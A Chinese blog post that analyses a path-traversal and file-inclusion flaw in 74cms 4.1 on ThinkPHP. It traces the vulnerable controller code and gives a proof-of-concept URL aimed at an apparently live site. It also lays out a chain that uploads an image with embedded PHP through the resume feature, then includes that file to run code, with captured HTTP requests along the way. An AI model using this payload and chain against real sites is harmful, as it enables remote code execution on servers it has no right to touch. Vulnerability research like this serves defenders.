刷洞2---74cms注入漏洞

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qq_20307987/article/details/80357348

基础积累:
1.在我们拿到一套源码的时候,首先需要寻找连接数据库的密码和网站后台的密码。
第一种方法是看文件名,看看有没有明显的config.php
global_function.php类似的文件。
第二种方式是全局搜索

"new mysql("
"mysqli_connect("
"new PDO"

这个是php连接数据库的常用操作,参数就是数据库的用户名和口令。

2.http://0day5.com/archives/4257/
根据漏洞描述,这个洞主要是服务端模板注入漏洞,首先自己下载了老版本4.1的74cms并搭建成功,用poc测试了一下
http://enshijob.com/index.php?m=&c=M&a=index&type=../favicon.ico
发现是可以的。根据Thinkphp的url规则,找到文件Application/Home/Controller/MController.class.php

namespace Home\Controller;
use Common\Controller\FrontendController;
class MController extends FrontendController{
    public function index(){
        if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){
            redirect(build_mobile_url());
        }
        $type = I('get.type','android','trim');
        $android_download_url = C('qscms_android_download')?C('qscms_android_download'):'';
        $ios_download_url = C('qscms_ios_download')?C('qscms_ios_download'):'';
        $this->assign('android_download_url',$android_download_url);
        $this->assign('ios_download_url',$ios_download_url);
        $this->assign('type',$type);
        $this->display('M/'.$type);
    }
}

这里解释几句php代码,备忘
$type = I(‘get.type’,’android’,’trim’); ==== trim($_GET[‘type’]) 这里默认值是android,type就成为了url中可控的参数。
C(‘PLATFORM’) ===== 读取PLATFORM配置的值
this->assign(a,b) ===== set a=b

接下来type 就被带入了display函数中,我们来看看display做了什么操作

protected function display($tpl){
        if(!$this->get('page_seo')){
            $page_seo = D('Page')->get_page();
            $this->_config_seo($page_seo[strtolower(MODULE_NAME).'_'.strtolower(CONTROLLER_NAME).'_'.strtolower(ACTION_NAME)],I('request.'));
        }
        parent::display($tpl);
        if($this->visitor->is_login && !IS_AJAX && IS_GET){
            $this->apply['Analyze'] && $this->record_route();
        }
    }

前面在设置SEO(搜索引擎优化)
后面就调用了parent::display()函数,继续跟踪type的值

    /**
     * 模板显示 调用内置的模板引擎显示方法,
     * @access protected
     * @param string $templateFile 指定要调用的模板文件
     * 默认为空 由系统自动定位模板文件
     * @param string $charset 输出编码
     * @param string $contentType 输出类型
     * @param string $content 输出内容
     * @param string $prefix 模板缓存前缀
     * @return void
     */
    protected function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
        $this->view->display($templateFile,$charset,$contentType,$content,$prefix);
    }

这里看到templateFile又被带入$this->view->display函数,继续跟踪(这里的this 是ThinkPHP 控制器基类 抽象类)

    /**
     * 加载模板和页面输出 可以返回输出内容
     * @access public
     * @param string $templateFile 模板文件名
     * @param string $charset 模板输出字符集
     * @param string $contentType 输出类型
     * @param string $content 模板输出内容
     * @param string $prefix 模板缓存前缀
     * @return mixed
     */
    public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
        G('viewStartTime');
        // 视图开始标签
        Hook::listen('view_begin',$templateFile);
        // 解析并获取模板内容
        $content = $this->fetch($templateFile,$content,$prefix);
        // 输出模板内容
        $this->render($content,$charset,$contentType);
        // 视图结束标签
        Hook::listen('view_end');
    }

在view.class.php中,$content = $this->fetch($templateFile,$content,$prefix);
根据框架的注释,意思是解析并获取模板内容,这里应该是处理模板的地方。继续跟踪

/**
     * 解析和获取模板内容 用于输出
     * @access public
     * @param string $templateFile 模板文件名
     * @param string $content 模板输出内容
     * @param string $prefix 模板缓存前缀
     * @return string
     */
    public function fetch($templateFile='',$content='',$prefix='') {
        if(empty($content)) {
            $templateFile   =   $this->parseTemplate($templateFile);
            // 模板文件不存在直接返回
            if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
        }else{
            defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath());
        }
        // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
            $_content   =   $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);
        }else{
            // 视图解析标签
            $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
            Hook::listen('view_parse',$params);
        }
        // 获取并清空缓存
        $content = ob_get_clean();
        // 内容过滤标签
        Hook::listen('view_filter',$content);
        // 输出模板文件
        return $content;
    }

这里就看到了如果使用php原生模板,会直接include $templateFile,正儿八经的文件包含漏洞。可是分析到这里了,如何利用呢?

摘抄Thinkphp3.2完全开发手册的一段话

Php代码可以和标签在模板文件中混合使用,可以在模板文件里面书写任意的PHP语句代码 ,包括下面两种方式:

第一种:使用php标签
例如:

<php>echo 'Hello,world!';</php>
我们建议需要使用PHP代码的时候尽量采用php标签,因为原生的PHP语法可能会被配置禁用而导致解析错误。

第二种:使用原生php代码
<?php echo 'Hello,world!'; ?>
注意:php标签或者php代码里面就不能再使用标签(包括普通标签和XML标签)了,因此下面的几种方式都是无效的:

<php><eq name='name'value='value'>value</eq></php>
Php标签里面使用了eq标签,因此无效

<php>if( {$user} != 'ThinkPHP' ) echo  'ThinkPHP' ;</php>
Php标签里面使用了{$user}普通标签输出变量 ,因此无效。

<php>if( $user.name != 'ThinkPHP' ) echo  'ThinkPHP' ;</php>
Php标签里面使用了$user.name 点语法变量输出 ,因此无效。

简而言之,在PHP标签里面不能再使用PHP本身不支持的代码。

如果设置了TMPL_DENY_PHP参数为true,就不能在模板中使用原生的PHP代码,但是仍然支持PHP标签输出。

OK ,如果看懂了,那就明白了只要模板中插入原生php代码,就可以在上述的代码中正常包含,进而执行php代码了。

扫描二维码关注公众号,回复: 4284096 查看本文章

接下来就需要找可以上传文件的地方了,并且可以知道上传路径的那种,当然,有的大佬可以各种姿势找到路径的不说。
注册一个新用户,找到个人简历上传图片的地方,上传一个带有phpinfo的图片

Request URL: http://localhost:8000/74cms41/upload/index.php?m=Home&c=upload&a=attach
Request Method: POST
Status Code: 200 OK
Remote Address: [::1]:8000
Referrer Policy: no-referrer-when-downgrade
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Date: Mon, 21 May 2018 12:43:00 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=100
Pragma: no-cache
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
Transfer-Encoding: chunked
X-Powered-By: PHP/5.4.45
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 149327
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylXlVShdwzAqaRCCE
Cookie: think_template=default; PHPSESSID=ve96r267rkgegu7s15sn0hv7a7; think_language=zh-CN; _qscmsbd114f8f12c63c064fecf735570b5d9b=think%3A%7B%229871d3a2c554b27151cacf1422eec048%22%3A%221%22%2C%225f4dcc3b5aa765d61d8327deb882cf99%22%3A%225210fb72127a61f0d9a5a7b6bbf342b8%22%7D
Host: localhost:8000
Origin: http://localhost:8000
Referer: http://localhost:8000/74cms41/upload/index.php?m=&c=personal&a=resume_edit&pid=1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
m: Home
c: upload
a: attach

然后….然后,你就会看到抓包工具中又多了一个包,上面有图片的地址。。。omg

Request URL: http://localhost:8000/74cms41/upload/data/upload/resume_img/1805/21/5b02bed47e5ed.jpg
Request Method: GET
Status Code: 200 OK
Remote Address: [::1]:8000
Referrer Policy: no-referrer-when-downgrade
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Length: 199257
Content-Type: image/jpeg
Date: Mon, 21 May 2018 12:43:00 GMT
ETag: W/"30a59-56cb6a4591d70"
Keep-Alive: timeout=5, max=99
Last-Modified: Mon, 21 May 2018 12:43:00 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Cookie: think_template=default; PHPSESSID=ve96r267rkgegu7s15sn0hv7a7; think_language=zh-CN; _qscmsbd114f8f12c63c064fecf735570b5d9b=think%3A%7B%229871d3a2c554b27151cacf1422eec048%22%3A%221%22%2C%225f4dcc3b5aa765d61d8327deb882cf99%22%3A%225210fb72127a61f0d9a5a7b6bbf342b8%22%7D
Host: localhost:8000
Referer: http://localhost:8000/74cms41/upload/index.php?m=&c=personal&a=resume_edit&pid=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36

thanks haha
利用上面的漏洞,访问m=&c=M&a=index&type=../data/upload***************
发现报系统错误,404,再调代码发现,源代码中好像把这个功能代码给删除了,这就是74cms 的应急补洞(⊙_⊙)? 略略略

猜你喜欢

转载自blog.csdn.net/qq_20307987/article/details/80357348